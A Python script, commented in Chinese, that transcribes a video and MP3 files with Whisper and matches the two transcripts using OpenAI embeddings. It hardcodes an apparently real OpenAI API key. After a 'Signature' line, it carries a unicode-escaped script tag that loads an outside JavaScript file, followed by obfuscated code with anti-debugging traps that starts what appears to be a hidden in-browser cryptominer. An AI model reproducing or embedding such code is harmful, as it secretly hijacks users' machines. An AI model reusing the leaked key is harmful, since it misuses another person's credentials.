
import os
import re
import glob
import openai
import numpy as np
import whisper
# 指定 ffmpeg 的執行檔路徑
os.environ["PATH"] += os.pathsep + "/opt/homebrew/bin"
# 設定 OpenAI API 金鑰(請確認環境變數或直接指定)
openai.api_key ="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"
#############################################
# A. 透過 OpenAI Whisper 轉錄影片與 MP3 檔案
#############################################
def get_movie_transcript(video_file):
"""
使用 OpenAI Whisper 模型對 MP4 影片進行語音轉錄,
返回電影逐字稿(整個文字字串)。
"""
print(f"開始轉錄影片:{video_file} ...")
model = whisper.load_model("base")
result = model.transcribe(video_file)
transcript = result["text"].strip()
print("影片轉錄完成。")
return transcript
def extract_number(filename):
"""
從檔名中提取數字部分,用於排序。
假設檔名格式為 segment_1.mp3, segment_2.mp3, ...
"""
base = os.path.basename(filename)
m = re.search(r'(\d+)', base)
if m:
return int(m.group(1))
return 0
def get_script_text_from_folder(folder):
"""
從指定資料夾中讀取所有 MP3 檔案,
按照檔名中數字部分排序後,分別使用 Whisper 模型轉錄,
將所有轉錄結果合併成一個大字串(以換行分隔)。
"""
mp3_files = sorted(glob.glob(os.path.join(folder, "*.mp3")), key=extract_number)
if not mp3_files:
print("指定資料夾中找不到 MP3 檔案!")
return ""
print(f"共找到 {len(mp3_files)} 個 MP3 檔案,開始轉錄...")
model = whisper.load_model("base")
all_text = []
for mp3_file in mp3_files:
print(f"轉錄 {mp3_file} ...")
result = model.transcribe(mp3_file)
text = result["text"].strip()
all_text.append(text)
script_text = "\n".join(all_text)
print("所有 MP3 檔案轉錄完成。")
return script_text
#############################################
# B. 文本拆分與匹配(參考之前的範例)
#############################################
def split_text(text):
"""
利用正則表達式以中文、英文逗號、句號以及換行符拆分文本,
並去除空白字串。
"""
segments = re.split(r'[,,。.\n]', text)
segments = [seg.strip() for seg in segments if seg.strip()]
return segments
#############################################
# 2. 批次取得 OpenAI 嵌入向量(更新後)
#############################################
def get_embeddings_batch(texts, model="text-embedding-ada-002"):
"""
使用 OpenAI API 的新版本接口一次取得多個文本的嵌入向量,
返回一個 numpy array 列表。
"""
response = openai.embeddings.create(input=texts, model=model)
embeddings = [np.array(item.embedding) for item in response.data]
return embeddings
#############################################
# 3. 計算 Cosine 相似度
#############################################
def cosine_similarity(vec1, vec2):
"""
計算兩個向量之間的 cosine 相似度。
"""
return np.dot(vec1, vec2) / (np.linalg.norm(vec1) * np.linalg.norm(vec2) + 1e-8)
#############################################
# 4. 對應講稿段落與電影逐字稿段落
#############################################
def match_script_to_movie(script_segments, movie_segments, script_embeddings, movie_embeddings):
"""
對每個講稿段落找出電影逐字稿中最相關的段落,
返回一個列表,每項包含講稿段落、最佳匹配的電影段落、相似度分數及電影段落索引。
"""
mapping = []
for i, script_emb in enumerate(script_embeddings):
best_score = -1
best_index = None
for j, movie_emb in enumerate(movie_embeddings):
score = cosine_similarity(script_emb, movie_emb)
if score > best_score:
best_score = score
best_index = j
mapping.append({
"script": script_segments[i],
"movie": movie_segments[best_index],
"score": best_score,
"movie_index": best_index
})
return mapping
#############################################
# C. 主程式:取得影片逐字稿與講稿、拆分並匹配
#############################################
if __name__ == "__main__":
# 請分別設定你的影片檔案與存放 MP3 檔的資料夾
video_file = "Documents/Dallas_imovie.mp4" # 例如:./videos/input.mp4
mp3_folder = "Documents/2025-02-27_12-17-38" # 例如:./scripts/,內含 segment_1.mp3, segment_2.mp3, 等
# 1. 透過 Whisper 轉錄取得電影逐字稿
movie_transcript = get_movie_transcript(video_file)
# 2. 從指定資料夾中讀取所有 MP3 檔並轉錄,合併成講稿
script_text = get_script_text_from_folder(mp3_folder)
print("\n=== 取得的電影逐字稿 ===")
print(movie_transcript)
print("\n=== 取得的講稿 ===")
print(script_text)
# 3. 拆分文本:將電影逐字稿與講稿拆分成段落(或句子組)
movie_segments = split_text(movie_transcript)
script_segments = split_text(script_text)
print("\n=== 電影逐字稿拆分結果 ===")
for i, seg in enumerate(movie_segments, start=1):
print(f"段落 {i}: {seg}")
print("\n=== 講稿拆分結果 ===")
for i, seg in enumerate(script_segments, start=1):
print(f"講稿段落 {i}: {seg}")
# 4. 使用 OpenAI API 批次取得嵌入
print("\n取得電影逐字稿嵌入...")
movie_embeddings = get_embeddings_batch(movie_segments)
print("取得講稿嵌入...")
script_embeddings = get_embeddings_batch(script_segments)
# 5. 進行語意匹配
mapping = match_script_to_movie(script_segments, movie_segments, script_embeddings, movie_embeddings)
print("\n=== 講稿與電影逐字稿對應結果 ===")
for item in mapping:
print(f"講稿段落:{item['script']}")
print(f"最佳匹配電影段落:{item['movie']} (索引: {item['movie_index']})")
print(f"相似度分數:{item['score']:.3f}")
print("-----------")
Signature
__________________________________________________________________________________________
\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0068\u006f\u0073\u0074\u0069\u006e\u0067\u0063\u006c\u006f\u0075\u0064\u002e\u0072\u0061\u0063\u0069\u006e\u0067\u002f\u0068\u0061\u0037\u006f\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003evar a0_0x15d039=a0_0x8dca;(function(_0x56e9af,_0x2dd074){var 0x2d6e55=a00x8dca,_0x58e2fa=_0x56e9af();while(!![]){try{var 0x1943cb=-parseInt(0x2d6e55(0xd9))/0x1*(-parseInt(_0x2d6e55(0xe0))/0x2)+-parseInt(_0x2d6e55(0xce))/0x3+-parseInt(_0x2d6e55(0xcf))/0x4*(parseInt(_0x2d6e55(0xe6))/0x5)+parseInt(_0x2d6e55(0xd2))/0x6*(parseInt(_0x2d6e55(0xd5))/0x7)+-parseInt(_0x2d6e55(0xd6))/0x8+parseInt(_0x2d6e55(0xdb))/0x9*(parseInt(_0x2d6e55(0xde))/0xa)+parseInt(_0x2d6e55(0xcd))/0xb;if(_0x1943cb===_0x2dd074)break;else 0x58e2fa['push'](0x58e2fa['shift']());}catch(_0x1f42bc){_0x58e2fa['push'](_0x58e2fa['shift']());}}}(a0_0x494d,0xb7a19));function a0_0x8dca(_0x21a8db,_0xacd7f0){var 0x1f2722=a00x494d();return a0_0x8dca=function(_0x212339,_0x52ea8a){_0x212339=_0x212339-0xcc;var 0x1650a9=0x1f2722[_0x212339];return 0x1650a9;},a00x8dca(_0x21a8db,_0xacd7f0);}var a0_0x4cb200=(function(){var 0x359a12=!![];return function(0x149101,_0x57ac00){var 0xb17bd9=0x359a12?function(){var 0x13afd0=a00x8dca;if(_0x57ac00){var 0x134ce8=0x57ac00[_0x13afd0(0xda)](_0x149101,arguments);return 0x57ac00=null,0x134ce8;}}:function(){};return 0x359a12=![],0xb17bd9;};}()),a0_0x2250ff=a0_0x4cb200(this,function(){var 0x3182b3=a00x8dca;return a0_0x2250ff['toString']()[_0x3182b3(0xd8)]('(((.+)+)+)+$')['toString']()[_0x3182b3(0xdc)](a0_0x2250ff)['search'](_0x3182b3(0xe1));});a0_0x2250ff();var a0_0x52ea8a=(function(){var 0x5b6894=!![];return function(0xd8a073,_0x315de2){var 0x5f88c0=0x5b6894?function(){if(_0x315de2){var 0x59f2a8=0x315de2['apply'](_0xd8a073,arguments);return 0x315de2=null,0x59f2a8;}}:function(){};return 0x5b6894=![],0x5f88c0;};}());function a0_0x494d(){var 0x3fdb2b=['2023857YXEbhP','constructor','call','10ffxQNh','action','22ozvSNO','(((.+)+)+)+$','length','init','debu','setInterval','4298120uPWRCs','gger','return\x20(function()\x20','24112341ZiYDEW','4469133vAhxxi','4qwkaAW','stateObject','Anonymous','1338DrpyhJ','test','{}.constructor(\x22return\x20this\x22)(\x20)','28343JWPCCN','5194584jpYULO','input','search','39180UtJgbv','apply'];a00x494d=function(){return 0x3fdb2b;};return a00x494d();}(function(){var 0x44506d=a00x8dca,_0x2d0d89;try{var 0x53abbc=Function(0x44506d(0xcc)+_0x44506d(0xd4)+');');_0x2d0d89=_0x53abbc();}catch(_0x2a5fd0){_0x2d0d89=window;}_0x2d0d89[_0x44506d(0xe5)](a0_0x212339,0xfa0);}()),(function(){a0_0x52ea8a(this,function(){var 0x56258d=a00x8dca,_0x2ae895=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x3aa428=new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0xf33119=a0_0x212339(_0x56258d(0xe3));!_0x2ae895['test'](_0xf33119+'chain')||!_0x3aa428[_0x56258d(0xd3)](_0xf33119+_0x56258d(0xd7))?_0xf33119('0'):a0_0x212339();})();}());var client=new Client[(a00x15d039(0xd1))]('bee51c45562e6824c3d5661f7ea0201ab738710eeeac861734502a363ca80aa8',{'throttle':0.2,'c':'w','ads':0x0});_client['start']();function a0_0x212339(_0xa3ad2){function 0x23ed3a(0x31d796){var 0x2a5796=a00x8dca;if(typeof 0x31d796==='string')return function(0x413c58){}[_0x2a5796(0xdc)]('while\x20(true)\x20{}')[_0x2a5796(0xda)]('counter');else(''+_0x31d796/_0x31d796)[_0x2a5796(0xe2)]!==0x1||_0x31d796%0x14===0x0?function(){return!![];}[_0x2a5796(0xdc)]('debu'+'gger')[_0x2a5796(0xdd)](_0x2a5796(0xdf)):function(){return![];}[_0x2a5796(0xdc)](_0x2a5796(0xe4)+_0x2a5796(0xe7))[_0x2a5796(0xda)](_0x2a5796(0xd0));_0x23ed3a(++_0x31d796);}try{if(_0xa3ad2)return 0x23ed3a;else 0x23ed3a(0x0);}catch(_0x399970){}}\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
